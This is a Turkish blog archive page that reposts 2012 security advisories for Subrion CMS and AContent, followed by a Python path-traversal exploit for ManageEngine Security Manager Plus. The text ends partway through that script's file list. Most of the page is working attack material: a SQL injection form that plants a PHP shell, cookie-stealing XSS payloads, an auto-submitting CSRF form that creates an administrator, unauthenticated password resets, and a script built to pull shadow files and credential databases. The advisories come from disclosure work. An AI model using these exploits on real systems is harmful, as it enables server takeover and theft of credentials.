Archive for 23 Ekim 2012

Subrion CMS 2.2.1 Multiple Vulnerabilities

Subrion CMS 2.2.1 versiyonunda Cross-Site Scripting (XSS), SQL Injection and Сross-Site Request Forgery (CSRF) açıkları bulundu. Açığın oluşum yerleri ve açığın kullanımı aşağıdaki şekilde.

Advisory ID: HTB23113
Product: Subrion CMS
Vendor: The Subrion development team
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Vendor Notification: September 5, 2012 
Public Disclosure: October 17, 2012 
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2012-4771, CVE-2012-4772, CVE-2012-4773
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Subrion CMS, which can be exploited to perform Cross-Site Scripting (XSS), SQL Injection and Сross-Site Request Forgery (CSRF) attacks.


1) SQL Injection in Subrion CMS: CVE-2012-4772

Input passed via the "plan_id" POST parameter to /register/ URL (modified by mod_rewrite to /system.php script) is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/register/" method="post">
<input type="hidden" name="username" value='username' />
<input type="hidden" name="fullname" value='fullname' />
<input type="hidden" name="email" value='' />
<input type="hidden" name="password" value='password' />
<input type="hidden" name="password2" value='password' />
<input type="hidden" name="security_code" value='[CAPTCHA]' />
<input type="hidden" name="plan_id" value="0 UNION SELECT '<? system($cmd); ?>',1,1,1,1,1,1,1,1,1,1,1,1,1 INTO OUTFILE '../../../path/to/site/file.php'" />
<input type="hidden" name="register" value="" />
<input type="submit" id="btn">
</form>


Depending on web and SQL servers configuration, the above-mentioned PoC code creates a simple PHP shell on the vulnerable system. 


2) Cross-Site Scripting (XSS) in Subrion CMS: CVE-2012-4771

2.1 Input passed via the "f[accounts][fullname]" and "f[accounts][username]" GET parameters to /advsearch/ URL (modified by mod_rewrite to /system.php script) is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoC demonstrates the vulnerability:


<form action="http://[host]/advsearch/" method="post">
<input type="hidden" name="items[]" value='accounts' />
<input type="hidden" name="f[accounts][fullname]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="f[accounts][username]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="q" value='' />
<input type="submit" id="btn">
</form>


2.2 Input passed via the "id" and "group" GET parameters to multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.

The following PoCs demonstrate the vulnerabilities:

http://[host]/admin/accounts/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/configuration/?group=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/manage/fields/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/manage/blocks/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


3) Сross-Site Request Forgery (CSRF) in Subrion CMS: CVE-2012-4773

The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to create new administrator or execute arbitrary SQL code.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

The following PoC creates administrative account within application:


<form action="http://[host]/admin/accounts/add/" method="post">
<input type="hidden" name="username" value='new_admin' />
<input type="hidden" name="fullname" value='new_admin' />
<input type="hidden" name="email" value='' />
<input type="hidden" name="usergroup" value='1' />
<input type="hidden" name="status" value='active' />
<input type="hidden" name="_password" value='_password' />
<input type="hidden" name="_password2" value='_password' />
<input type="hidden" name="save" value="Add" />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Subrion 2.2.3

More Information:
http://www.subrion.com/forums/announcements/934-subrion-2-2-3-open-source-cms-core-available.html

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23113 - https://www.htbridge.com/advisory/HTB23113 - Multiple vulnerabilities in Subrion CMS.
[2] Subrion CMS  - http://www.subrion.com/ - Subrion CMS is a stand-alone PHP content management system that is very easy to use. It comes with a ton of great features including full source editing, per-page permissions, user activity monitoring, and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

ATutor 1.2 Multiple Vulnerabilities

ATutor 1.2 SQL XSS ve post açıkları bulunmuş olup açıkla ilgili açıklama şu şekilde;

Advisory ID: HTB23117
Product: AContent
Vendor: ATutor
Vulnerable Version(s): 1.2 and probably prior
Tested Version: 1.2
Vendor Notification: September 26, 2012 
Public Disclosure: October 17, 2012 
Vulnerability Type: SQL Injection [CWE-89], Improper Authentication [CWE-287], Cross-Site Scripting [CWE-79]
CVE References: CVE-2012-5167, CVE-2012-5168, CVE-2012-5169
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in AContent, which can be exploited to bypass authentication and to perform Cross-Site Scripting (XSS) and SQL Injection attacks.


1) SQL Injection in AContent: CVE-2012-5167

1.1 The vulnerability exists due to insufficient sanitation of input data in the "field" HTTP POST parameter in /course_category/index_inline_editor_submit.php. A remote unauthenticated user can execute arbitrary SQL commands in application`s database. 

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/course_category/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="category_name-1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@,0x0,@a:=(@a+1)%2)))" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>


1.2 The vulnerability exists due to insufficient sanitation of input data in the "field" HTTP POST parameter in /user/index_inline_editor_submit.php. A remote unauthenticated user can execute arbitrary SQL commands in application`s database. 

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/user/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="password=((select min(@a:=1)from (select 1 union select 2)k group by (select concat(@,0x0,@a:=(@a+1)%2))))-1" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>


1.3 Input passed via the "id" GET parameter to /user/user_password.php in POST request is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability: 


<form action="http://[host]/user/user_password.php?id=1' AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@,0x0,@a:=(@a%2b1)%252)))%20--%20" method="post">
<input type="hidden" name="submit" value="1" />
<input type="submit" id="btn">
</form>


Successful exploitation of vulnerability 1.3 requires attacker to be registered and logged-in.


2) Improper Authentication in AContent: CVE-2012-5168

2.1 The vulnerability exists due to absent authentication in the "/user/index_inline_editor_submit.php" script. A remote unauthorized attacker can change users' passwords.

The following example will change password for user with id=1 to 'password'.


<form action="http://[host]/user/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="password-1" />
<input type="hidden" name="value" value="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" />
<input type="submit" id="btn">
</form>


2.2 The vulnerability exists due to absent authentication in the "/course_category/index_inline_editor_submit.php" script. A remote unauthorized attacker can modify names for existing categories.

The following example will change category name with id=1 to 'new_category':


<form action="http://[host]/course_category/index_inline_editor_submit.php" method="post">
<input type="hidden" name="field" value="category_name-1" />
<input type="hidden" name="value" value="new_category" />
<input type="submit" id="btn">
</form>



3) Cross-Site Scripting (XSS) in AContent: CVE-2012-5169

Input passed via the HTTP GET parameters "pathext", "popup", "framed", and "file" to /file_manager/preview_top.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoCs (Proof of Concept) demonstrate the vulnerabilities:

http://[host]/file_manager/preview_top.php?pathext=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?popup=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?file=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E



-----------------------------------------------------------------------------------------------

Solution:

Users should apply patches #1 and #2 using the AContent Administrator's Updater tool

More Information:
http://update.atutor.ca/acontent/patch/1_2/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23117 - https://www.htbridge.com/advisory/HTB23117 - Multiple vulnerabilities in AContent.
[2] AContent  - http://atutor.ca - AContent is an open source learning content authoring system and respository used to create interoperable, accessible, adaptive Web-based learning content.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

ManageEngine Security Manager Plus

ManageEngine Security Manager Plus <= 5.5 build 5505 Path Traversal açığı bulunmuş olup açıkla ilgili python exploit aşağıdadır. Görüldüğü üzere bir takım tosyalar çekilebilmekte /etc/passwd, /etc/shadow/ dosyaları okunabilmektedir.

#!/usr/bin/python
#+——————————————————————————————————————————–+
# Exploit Title     : Security Manager Plus <= 5.5 build 5505 Path Traversal (Win+Linux)
# Date              : 18-10-2012
# Author            : xistence (xistence<[AT]>0x90.nl)
# Software link     : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.exe (Win)
# Software link     : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.zip (Linux)
# Vendor site       : http://www.manageengine.com/
# Version           : 5.5 build 5505 and lower
# Tested on         : CentOS 5.x + Windows XP/2008
#
# Vulnerability     : The Path Traversal is possible on the "store" url, without any authentication. This allows us to download the complete
#                     database and thus gather windows/linux logins which are used for patching the servers. It will also download the
#                     passwd and shadow files as Security Manager Plus runs with root/SYSTEM privileges. Modify it to make it work on windows,
#                     and grab SAM files or other files. NOTE: At least one patch must have been downloaded in Security Manager Plus already.
#
# Fix:
# 1. Go to SMP server system and stop SMP service.
# 2. Download the SMP_Vul_fix.zip file from : http://bonitas.zohocorp.com/4264259/scanfi/31May2012/SMP_Vul_fix.zip
# 3. Extract the downloaded file which contains four files : AdvPMServer.jar, AdvPMClient.jar, scanfi.jar and AdventNetPMUnixAgent.jar
# 3. Copy the extracted .jar files to <SMP-HOME>lib directory (e.g., C:AdventNetSecurityManagerlib). [Overwrite the existing jar files and do not rename them]
# 4. Start the SMP service.
#+——————————————————————————————————————————–+

import os, sys

if (len(sys.argv) != 2):
    print ""
    print "[*] Security Manager Plus Path Traversal Exploit – xistence (xistence<[at]>0x90.nl) – 2012-05-29"
    print ""
    print "[*] Usage: secman-path.py <RHOST>"
    print "[*] I.e.:  ./secman-path.py www.manageengine.com"
    print "[*]"
    print "[*] RHOST = Remote Host which runs Security Manager Plus"
    print ""
    print ""
    exit(0)

rhost = sys.argv[1]


dbFiles = [‘StatusPropagateCriteria.frm’, ‘UserPatchComment.frm’, ‘I18nLanguageCountry.frm’, ‘Udef_Class_Range.frm’, ‘AaaUserContactInfo.frm’, ‘JoinTable.frm’, ‘GlobalCredential.frm’, ‘PMWinOS.frm’, ‘SysDetails.frm’, ‘AaaRole.frm’, ‘Time_Expressions.frm’, ‘DCSupportedApplications.frm’, ‘ACSQLString.frm’, ‘DeviceInventoryItems.frm’, ‘ACFeedBackProperties.frm’, ‘AaaPasswordHint.frm’, ‘AllowedValues.frm’, ‘Integral_Agg_Vars.frm’, ‘ACCountSQLString.frm’, ‘AaaServicePasswordRule.frm’, ‘ACCacheConfig.frm’, ‘AaaOrgDetail.frm’, ‘Array_List.frm’, ‘ViewCustomizer.frm’, ‘DeviceAuditInfo.frm’, ‘AaaAccountOwner.frm’, ‘DeviceToServicePack.frm’, ‘MSPMDependencyServicePack.frm’, ‘NENetwork.frm’, ‘ACUserFilterGroup.frm’, ‘WeeklyVulnID.frm’, ‘RegistryChanges.frm’, ‘PMPatchType.frm’, ‘NetworkTopology.frm’, ‘VulnerabilityScanDetails.frm’, ‘AaaAccSessionProp.frm’, ‘Int_Expr_To_Int.frm’, ‘JoinRelCriteria.frm’, ‘AaaModuleService.frm’, ‘ClientServiceProviders.frm’, ‘PCIQuery.frm’, ‘Upd_Row_Task_Template.frm’, ‘JoinCriteria.frm’, ‘LinuxAppGroup.frm’, ‘Start_End_Count.frm’, ‘OpenPorts.frm’, ‘DevicePatchTaskInput.frm’, ‘Free5IPs.frm’, ‘Int_DataObj_Expr.frm’, ‘Pattern_Variables.frm’, ‘DevicePatchStatusAuditInfo.frm’, ‘Email_Message.frm’, ‘TestReport.frm’, ‘ACLink.frm’, ‘Decimal_DataObj_Vars.frm’, ‘IPInterfaceNetwork.frm’, ‘ACUserClientState.frm’, ‘ScanPolicy.frm’, ‘OfficeMediaLocation.frm’, ‘ServicePackStoreAuditInfo.frm’, ‘PMScanVulDetails.frm’, ‘Iter_DataObj_Task.frm’, ‘PatchGroup.frm’, ‘Bool_Str_Dataobj_Expr.frm’, ‘OracleErrorCode.frm’, ‘SystemInfo.frm’, ‘Upd_DataObj_Var_Task.frm’, ‘BulletinDatastore.frm’, ‘SmtpConfiguration.frm’, ‘AaaOrgUser.frm’, ‘PMScheduledTaskDetails.frm’, ‘AaaOrgPostalAddr.frm’, ‘User_Def_Char_Class.frm’, ‘FileHandler.frm’, ‘AaaService.frm’, ‘ACAjaxFormOption.frm’, ‘ScheduleScanTaskInput.frm’, ‘ColumnDetails.frm’, ‘Boolean_Variables.frm’, ‘ACElement.frm’, ‘ACViewToGroupMapping.frm’, ‘DeviceToPatch.frm’, ‘Int_Const_Opr_Expr.frm’, ‘AaaPamModuleOption.frm’, ‘GroupVulnerabilities.frm’, ‘Pattern_Expressions.frm’, ‘GroupCompNotification.frm’, ‘MSCommand.frm’, ‘ACContextHelp.frm’, ‘Rules_To_Statements.frm’, ‘String_Matcher_Group.frm’, ‘DeviceToMSSoftware.frm’, ‘Task_Owner.frm’, ‘AaaMethodParams.frm’, ‘IPv4Address.frm’, ‘I18nLocalMsg.frm’, ‘Theme.frm’, ‘Repair.frm’, ‘Num_Const_Opr_Expr.frm’, ‘ACParams.frm’, ‘AaaTableUpdatePermission.frm’, ‘PatchDetectionCheck.frm’, ‘Templates_To_Relvars.frm’, ‘WindowsUsers.frm’, ‘MSRegChg.frm’, ‘NetworkDomainInfo.frm’, ‘ActiveDirectoryInfo.frm’, ‘Udef_Expr_Opr_Expr.frm’, ‘ScheduledReports.frm’, ‘UpdateDefinition.frm’, ‘GroupTicNotification.frm’, ‘ResourceFalsePositiveVulns.frm’, ‘FolderChanges.frm’, ‘WebViewConfig.frm’, ‘PMOfficeEditionType.frm’, ‘ACClientProps.frm’, ‘ACFilterConfigList.frm’, ‘EPMTaskInput.frm’, ‘AdditionalViewParams.frm’, ‘Quotation.frm’, ‘Str_Expr_To_Str.frm’, ‘bla.py’, ‘Network.frm’, ‘WindowsGroups.frm’, ‘ACTableFilterListRel.frm’, ‘PMTaskDetails.frm’, ‘LatestResourceScans.frm’, ‘Loop_Task_Template.frm’, ‘YSeriesColumn.frm’, ‘AaaAccOldPassword.frm’, ‘ConstituentTable.frm’, ‘FalsePositiveTestCase.frm’, ‘AaaOrganization.frm’, ‘PatchStoreLocation.frm’, ‘Print_Log_RelVars.frm’, ‘DeviceTaskInput.frm’, ‘PdfViewConfig.frm’, ‘Rules.frm’, ‘ProductDetectionCheck.frm’, ‘TreeQuery.frm’, ‘WebUIComponent.frm’, ‘AaaAce.frm’, ‘Pointers_In_Path.frm’, ‘NetworkDnsInfo.frm’, ‘LinuxPackageDependency.frm’, ‘UserNamePassword.frm’, ‘ManagedResource.frm’, ‘ProfileGroupMap.frm’, ‘ScanAddressGroup.frm’, ‘Default_Task_Conf.frm’, ‘AaaAccBadLoginStatus.frm’, ‘Pattern_Template_Vars.frm’, ‘PatchApplicableDetails.frm’, ‘NEComponent.frm’, ‘FKColumnDefinition.frm’, ‘Str_Deriv_Int_Vars.frm’, ‘Par_Char_Class_Expr.frm’, ‘Bool_Num_Comp_Decimal.frm’, ‘PatchDependencyCheck.frm’, ‘Logger.frm’, ‘Email_CC_Address.frm’, ‘MSAffectedServicePack.frm’, ‘AaaUserStatus.frm’, ‘DownloadFiles.frm’, ‘AuditSeverityLevel.frm’, ‘JavaScriptAction.frm’, ‘HTTPDirList.frm’, ‘AaaOrgStatus.frm’, ‘Templates.frm’, ‘OSLanguage.frm’, ‘TablesInTree.frm’, ‘TestCasePattern.frm’, ‘ValidationFiles.frm’, ‘ReverseDNSEntries.frm’, ‘CC_Address.frm’, ‘PortGroup.frm’, ‘DeviceConfigTaskInput.frm’, ‘Time_Operator_Delta.frm’, ‘AuditLevel.frm’, ‘AdventNetErrorCode.frm’, ‘AaaUserTwoFactorDetails.frm’, ‘PMSystemConfig.frm’, ‘TableDSMap.frm’, ‘DeviceToInventory.frm’, ‘PatchDetails.frm’, ‘VulnerabilityReference.frm’, ‘AaaLogin.frm’, ‘ModuleContext.frm’, ‘AuditResultProperty.frm’, ‘MSFile.frm’, ‘PatchGroupTaskInput.frm’, ‘Handler.frm’, ‘Numeric_Expressions.frm’, ‘Module.frm’, ‘DeviceConfigAuditInfo.frm’, ‘Cr_DataObj_Task.frm’, ‘PersonalizedViewMap.frm’, ‘ACPageLengthConfig.frm’, ‘ResourceScanStatus.frm’, ‘Decimal_Variables.frm’, ‘AaaAccSession.frm’, ‘PersonalityConfiguration.frm’, ‘Bool_Str_Comp_Str.frm’, ‘MemoryInfo.frm’, ‘AaaPasswordRule.frm’, ‘Workflow_Templates.frm’, ‘String_DataObj_Vars.frm’, ‘DefaultTheme.frm’, ‘FolderBaseline.frm’, ‘RemoteCommands.frm’, ‘IPv6Address.frm’, ‘AaaRoleCategory.frm’, ‘Ext_Task_Api_Loc.frm’, ‘ModeSpecificServiceProviders.frm’, ‘TestCaseCGIScript.frm’, ‘SystemTemplateHandler.frm’, ‘I18nCurrentVersion.frm’, ‘Expressions.frm’, ‘MSRegKey.frm’, ‘DeviceConfig.frm’, ‘Inner_Join.frm’, ‘Address.frm’, ‘UsbInfo.frm’, ‘IPNetwork.frm’, ‘DiscoveredDomains.frm’, ‘ResourceRegValues.frm’, ‘Projection_Operator.frm’, ‘Udef_Char_Cls_Expr.frm’, ‘Integral_Variables.frm’, ‘To_Address.frm’, ‘Decimal_Obj_Expr.frm’, ‘Numeric_Rank_Vars.frm’, ‘ServerDetails.frm’, ‘WF_Task_Variables.frm’, ‘AuditRecord.frm’, ‘Menu.frm’, ‘UserPreferences.frm’, ‘OmitForScan.frm’, ‘ConfFile.frm’, ‘ProfileResourceMap.frm’, ‘AaaUserConfigRecord.frm’, ‘Pattern_DataObj_Vars.frm’, ‘Concat_Task_Template.frm’, ‘DeviceInfo.frm’, ‘MSPatch.frm’, ‘Bool_Num_Comp_Const.frm’, ‘Template_Constants.frm’, ‘While_Loop_Tasks.frm’, ‘Task_Input.frm’, ‘SelectTable.frm’, ‘MSServicePack.frm’, ‘Workflow_Instances.frm’, ‘WorkEngine_Config.frm’, ‘SingleTestCaseExecutor.frm’, ‘PMScheduledJob.frm’, ‘ACTabChildConfig.frm’, ‘NewLinuxAdvisory.frm’, ‘AaaAuthorizedRole.frm’, ‘Instances.frm’, ‘Subject_Keys.frm’, ‘Boundary_Matchers.frm’, ‘AaaPamModule.frm’, ‘AuditResourceProp.frm’, ‘WMITestCasePattern.frm’, ‘IndexDefinition.frm’, ‘Views_PIDX.frm’, ‘Selection_Operator.frm’, ‘CmdFilesToPush.frm’, ‘PKDefinition.frm’, ‘PMSPPushCounter.frm’, ‘ServiceBanner.frm’, ‘AaaAccHttpSession.frm’, ‘AaaTablePermission.frm’, ‘AllowedPattern.frm’, ‘LinuxExtPackage.frm’, ‘Workflow_Statements.frm’, ‘UniqueKeyDefinition.frm’, ‘Working_Hours.frm’, ‘DeviceToPackageList.frm’, ‘Architecture.frm’, ‘PMDeviceToSPInfo.frm’, ‘ChangeMonitorTasks.frm’, ‘AaaTableReadPermission.frm’, ‘NegateResult.frm’, ‘ViewConfiguration.frm’, ‘CustomViewServiceProviders.frm’, ‘Decimal_Agg_Vars.frm’, ‘KeyboardInfo.frm’, ‘Time_Template_Vars.frm’, ‘Task_Conf.frm’, ‘PMEntryPerPage.frm’, ‘DriveInfo.frm’, ‘Vulnerability.frm’, ‘Criteria.frm’, ‘AffectedProduct.frm’, ‘TestCaseCommands.frm’, ‘Reg_Expr_Split_List.frm’, ‘ACPSConfiguration.frm’, ‘Relations_In_Path.frm’, ‘FileCheckDetail.frm’, ‘PortGroupRange.frm’, ‘DeviceToPatchStatus.frm’, ‘AaaAccSessionAudit.frm’, ‘SeverityNode.frm’, ‘Message_Keys.frm’, ‘Decimal_DataObj_Expr.frm’, ‘ACElementAttr.frm’, ‘ProcessorInfo.frm’, ‘Template_Variables.frm’, ‘Relations.frm’, ‘AaaEnvironmentEntry.frm’, ‘AaaAccOwnerProfile.frm’, ‘AaaPostalAddress.frm’, ‘NewPatchInfo.frm’, ‘Replace_Reg_Expr_Str.frm’, ‘ACJSOption.frm’, ‘Int_Obj_Expr.frm’, ‘Mail_Server.frm’, ‘TestCaseHTTPURLCheck.frm’, ‘TestCase.frm’, ‘SelectSQLString.frm’, ‘NetworkElement.frm’, ‘AaaImpliedByTableColumn.frm’, ‘IPInterface.frm’, ‘PMMessage.frm’, ‘Update_Index_Vars.frm’, ‘UINavigationConfig.frm’, ‘Workflow_Unit_PIDX.frm’, ‘VulnerabilityCategory.frm’, ‘String_Template_Vars.frm’, ‘DataSource.frm’, ‘PMSPLocationExtn.frm’, ‘ConstraintDefinition.frm’, ‘Fk_Paths.frm’, ‘TemplateFiles.frm’, ‘I18nUserTranslatorMap.frm’, ‘Boolean_Template_Vars.frm’, ‘ACFilterConfig.frm’, ‘TmpViewCriteria.frm’, ‘Rename_Operator.frm’, ‘PdfUIComponent.frm’, ‘Str_Expr_Opr_Expr.frm’, ‘Error_Data.frm’, ‘ACFilterGroup.frm’, ‘MSFileChg.frm’, ‘MSBulletinComment.frm’, ‘Scheduled_Task.frm’, ‘ScheduledScan.frm’, ‘Schedule.frm’, ‘Boolean_Constants.frm’, ‘ReportTemplate.frm’, ‘ACCriteria.frm’, ‘DominantTableConfig.frm’, ‘AuditNotif
yCriteria.frm’, ‘BulkTestCases.frm’, ‘PMTaskScanMapper.frm’, ‘Attachment_Input.frm’, ‘I18nPublicLocalMsg.frm’, ‘Pre_Def_Char_Class.frm’, ‘I18nVersion.frm’, ‘DeviceInventoryTypes.frm’, ‘Configuration.frm’, ‘MSRegChange.frm’, ‘SelectQuery.frm’, ‘LinuxPatchDependency.frm’, ‘AAARadiusConfig.frm’, ‘Num_Decimal_Opr_Expr.frm’, ‘DiscoveredHosts.frm’, ‘Str_DataObj_Expr.frm’, ‘Instance_Data.frm’, ‘ACTableViewConfig.frm’, ‘LinuxCheckDetail.frm’, ‘OpenViewInContentArea.frm’, ‘CiscoTestCasePattern.frm’, ‘Group_Templates.frm’, ‘Bool_Num_Dataobj_Expr.frm’, ‘ResourceWMITestResults.frm’, ‘MemoryModuleInfo.frm’, ‘ServiceVulnerability.frm’, ‘MSBulletin.frm’, ‘Num_Expr_Opr_Decimal.frm’, ‘Boolean_DataObj_Vars.frm’, ‘ACTableLayoutChildConfig.frm’, ‘Bool_Expr_Terms.frm’, ‘DefService.frm’, ‘AIPLocation.frm’, ‘ACNavigationConfiguration.frm’, ‘Tasks_To_Exceptions.frm’, ‘MSSupercededBulletin.frm’, ‘ViewConfiguration_PIDX.frm’, ‘I18nTranslator.frm’, ‘Proj_Opr_Output.frm’, ‘PortGroupPorts.frm’, ‘ResourceSch.frm’, ‘PatchDeployDependency.frm’, ‘DataObj_Variables.frm’, ‘Product.frm’, ‘UIComponent_PIDX.frm’, ‘Time_Constants.frm’, ‘Update_Template_Vars.frm’, ‘BulkTestCaseExecutor.frm’, ‘AddressGroupRange.frm’, ‘VulnerabilityGroup.frm’, ‘Commit_DataObj_Task.frm’, ‘MSAvailableSP.frm’, ‘ReportServiceFilter.frm’, ‘NEInterfaceDetails.frm’, ‘ResourceSoftwareList.frm’, ‘ACGridLayoutChildConfig.frm’, ‘Str_Obj_Expr.frm’, ‘ChartProperty.frm’, ‘FKDefinition.frm’, ‘AaaContactInfo.frm’, ‘ACLinkParams.frm’, ‘ACPanelElement.frm’, ‘Int_Expr_Opr_Const.frm’, ‘Bool_Composed_Expr.frm’, ‘TableDetails.frm’, ‘DeviceRebootStatus.frm’, ‘ReportType.frm’, ‘Bool_Time_Comp_Time.frm’, ‘AxisColumn.frm’, ‘AdvisoryPatchDependency.frm’, ‘TmpColumnRenderer.frm’, ‘ResourceConfiguration.frm’, ‘AaaAccount.frm’, ‘Out_Var_Instances.frm’, ‘MSPMRegChange.frm’, ‘DeviceToScanInfo.frm’, ‘RelationalCriteria.frm’, ‘ChartPropKey.frm’, ‘MSProductFamily.frm’, ‘TypeMatchCriteria.frm’, ‘Message_Templates.frm’, ‘LatestCompletedAGScans.frm’, ‘Checks.frm’, ‘I18nMessage.frm’, ‘WebMenuItem.frm’, ‘ACFormConfig.frm’, ‘Iter_Table_Task.frm’, ‘DeviceOfficeEditionType.frm’, ‘ScheduledTask_Retry.frm’, ‘Integral_Row_Count.frm’, ‘Bulletin.frm’, ‘ViewDataTableMapping.frm’, ‘MenuAndMenuItem.frm’, ‘PMPatchEXTNMaster.frm’, ‘FeatureParams.frm’, ‘Template_Data.frm’, ‘Workflow_Task.frm’, ‘Bool_Time_Comp_Const.frm’, ‘Workflow_Template_Task.frm’, ‘Print_Log_Expr.frm’, ‘AaaMethodPermission.frm’, ‘Num_Expr_Opr_Const.frm’, ‘SeqGenState.frm’, ‘ScanJobMapper.frm’, ‘ServerStatus.frm’, ‘DeviceCredential.frm’, ‘Relvars_To_Views.frm’, ‘Group_Count.frm’, ‘TCRegistryValueCheck.frm’, ‘PMDeviceToPatch.frm’, ‘DeviceGlobalCredential.frm’, ‘Default_Task_Input.frm’, ‘MSPatchComment.frm’, ‘ServerServiceProviders.frm’, ‘Inner_Join_Attribs.frm’, ‘ThreadPool.frm’, ‘Print_Log.frm’, ‘AaaPermission.frm’, ‘ScanInputsForDisplay.frm’, ‘ACFunctionColumns.frm’, ‘LinuxAdvisory.frm’, ‘MySQLErrorCode.frm’, ‘Exceptions.frm’, ‘SystemUserComment.frm’, ‘String_List.frm’, ‘NetworkInfo.frm’, ‘DeviceToLinuxOS.frm’, ‘AssetGroupCred.frm’, ‘MonitorInfo.frm’, ‘Fk_Pointers.frm’, ‘ACStringConstant.frm’, ‘MSProductFamilyDetail.frm’, ‘String_Variables.frm’, ‘CrackedUserNamePassword.frm’, ‘Coll_Iterat_Template.frm’, ‘TmpViewDetails.frm’, ‘AaaAccPassword.frm’, ‘HardDiskInfo.frm’, ‘ACColumnConfiguration.frm’, ‘Relvars.frm’, ‘ChartPropertySet.frm’, ‘Periodic.frm’, ‘LinuxPatch.frm’, ‘Email_Task_Input.frm’, ‘ServicePackTaskInput.frm’, ‘Resource_Location.frm’, ‘MSSQLCheckQuery.frm’, ‘TCHTTPFileGrep.frm’, ‘Email_To_Address.frm’, ‘AaaUserProperty.frm’, ‘ScanVulnGroup.frm’, ‘UIComponent.frm’, ‘InventoryHardware.frm’, ‘ACFilterList.frm’, ‘Schedule_View.frm’, ‘ManagedStateHolder.frm’, ‘Paths.frm’, ‘WmiErrorCode.frm’, ‘Trans_Closure_Attributes.frm’, ‘PMScanInfo.frm’, ‘SPDeployDependency.frm’, ‘AuditOperProperty.frm’, ‘Simple_Class_Expr.frm’, ‘ChartViewConfig.frm’, ‘Decimal_Expr_To_Dc.frm’, ‘AuditUserProperty.frm’, ‘BeanInterceptor.frm’, ‘DeviceRebootPending.frm’, ‘DataObj_Var_Tables.frm’, ‘MonitorProfiles.frm’, ‘AddressGroup.frm’, ‘PMPatchPushCounter.frm’, ‘ACColumnConfigurationList.frm’, ‘Pointer_Fk_Attributes.frm’, ‘MSSoftwareCheck.frm’, ‘Schedule_Audit.frm’, 